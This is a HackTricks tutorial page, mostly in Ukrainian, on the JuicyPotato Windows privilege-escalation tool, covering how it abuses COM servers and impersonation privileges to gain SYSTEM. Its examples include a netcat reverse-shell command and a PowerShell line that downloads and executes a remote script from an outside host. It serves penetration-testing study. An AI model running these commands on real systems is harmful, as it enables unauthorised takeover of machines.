JuicyPotato

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

JuicyPotato не працює на Windows Server 2019 та Windows 10 версії 1809 і новіших. Однак, PrintSpoofer, RoguePotato, SharpEfsPotato можуть бути використані для отримання тих же привілеїв і доступу на рівні NT AUTHORITY\SYSTEM. Перевірте:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (зловживання золотими привілеями)

Цукрова версія RottenPotatoNG, з трохи соку, тобто інший інструмент для підвищення локальних привілеїв, з облікових записів служб Windows до NT AUTHORITY\SYSTEM

Ви можете завантажити juicypotato з https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Резюме

З Readme juicy-potato:

RottenPotatoNG та його варіанти використовують ланцюг підвищення привілеїв на основі BITS сервісу, маючи MiTM слухача на 127.0.0.1:6666, і коли у вас є привілеї SeImpersonate або SeAssignPrimaryToken. Під час огляду збірки Windows ми виявили налаштування, де BITS був навмисно вимкнений, а порт 6666 був зайнятий.

Ми вирішили озброїти RottenPotatoNG: Привітайте Juicy Potato.

Для теорії дивіться Rotten Potato - Підвищення привілеїв з облікових записів служб до SYSTEM і слідкуйте за ланцюгом посилань і посилань.

Ми виявили, що, окрім BITS, є кілька COM-серверів, які ми можемо зловживати. Вони просто повинні:

  1. бути інстанційованими поточним користувачем, зазвичай "користувачем служби", який має привілеї імперсонації

  2. реалізовувати інтерфейс IMarshal

  3. працювати як підвищений користувач (SYSTEM, Адміністратор, …)

Після деяких тестувань ми отримали та протестували розширений список цікавих CLSID на кількох версіях Windows.

Соковиті деталі

JuicyPotato дозволяє вам:

  • Цільовий CLSID виберіть будь-який CLSID, який ви хочете. Тут ви можете знайти список, організований за ОС.

  • COM порт прослуховування визначте COM порт прослуховування, який ви віддаєте перевагу (замість зашитого 6666)

  • IP-адреса прослуховування COM прив'яжіть сервер до будь-якої IP-адреси

  • Режим створення процесу в залежності від привілеїв імперсованого користувача ви можете вибрати з:

  • CreateProcessWithToken (потрібен SeImpersonate)

  • CreateProcessAsUser (потрібен SeAssignPrimaryToken)

  • обидва

  • Процес для запуску запустіть виконуваний файл або скрипт, якщо експлуатація успішна

  • Аргумент процесу налаштуйте аргументи запущеного процесу

  • Адреса RPC-сервера для прихованого підходу ви можете аутентифікуватися на зовнішньому RPC-сервері

  • Порт RPC-сервера корисно, якщо ви хочете аутентифікуватися на зовнішньому сервері, а брандмауер блокує порт 135

  • РЕЖИМ ТЕСТУ в основному для тестування, тобто тестування CLSID. Він створює DCOM і виводить користувача токена. Дивіться тут для тестування

Використання

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Final thoughts

З juicy-potato Readme:

Якщо у користувача є привілеї SeImpersonate або SeAssignPrimaryToken, то ви SYSTEM.

Майже неможливо запобігти зловживанню всіма цими COM-серверами. Ви можете подумати про зміну дозволів цих об'єктів через DCOMCNFG, але удачі, це буде складно.

Фактичне рішення полягає в захисті чутливих облікових записів та програм, які працюють під обліковими записами * SERVICE. Зупинка DCOM безумовно завадить цій експлуатації, але може мати серйозний вплив на основну ОС.

З: http://ohpe.it/juicy-potato/

Examples

Note: Visit this page for a list of CLSIDs to try.

Get a nc.exe reverse shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Запустіть новий CMD (якщо у вас є доступ до RDP)

Проблеми з CLSID

Часто стандартний CLSID, який використовує JuicyPotato, не працює і експлойт зазнає невдачі. Зазвичай, потрібно кілька спроб, щоб знайти працюючий CLSID. Щоб отримати список CLSID для конкретної операційної системи, вам слід відвідати цю сторінку:

Перевірка CLSID

Спочатку вам знадобляться деякі виконувані файли, окрім juicypotato.exe.

Завантажте Join-Object.ps1 і завантажте його у вашу PS сесію, а також завантажте та виконайте GetCLSID.ps1. Цей скрипт створить список можливих CLSID для тестування.

Потім завантажте test_clsid.bat (змініть шлях до списку CLSID та до виконуваного файлу juicypotato) і виконайте його. Він почне пробувати кожен CLSID, і коли номер порту зміниться, це означатиме, що CLSID спрацював.

Перевірте працюючі CLSID за допомогою параметра -c

Посилання

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримка HackTricks

Last updated